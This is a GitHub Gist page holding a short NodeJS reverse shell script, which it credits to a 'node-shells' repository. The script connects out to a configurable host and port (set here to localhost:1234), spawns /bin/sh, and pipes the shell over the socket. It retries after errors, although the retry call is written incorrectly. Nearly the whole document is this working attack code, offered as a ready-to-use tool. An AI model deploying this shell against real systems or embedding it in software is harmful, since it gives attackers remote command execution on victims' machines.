Created
December 27, 2015 17:54
-
-
Save ahhh/428c03af64ac10dcd44b to your computer and use it in GitHub Desktop.
NodeJS Reverse Shell from https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var net = require('net'); | |
var spawn = require('child_process').spawn; | |
HOST="localhost"; | |
PORT="1234"; | |
TIMEOUT="5000"; | |
function c(HOST,PORT) { | |
var client = new net.Socket(); | |
client.connect(PORT, HOST, function() { | |
var sh = spawn('/bin/sh',[]); | |
client.write("Connected\r\n"); | |
client.pipe(sh.stdin); | |
sh.stdout.pipe(client); | |
}); | |
client.on('error', function(e) { | |
setTimeout(c(HOST,PORT), TIMEOUT); | |
}); | |
} | |
c(HOST,PORT); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment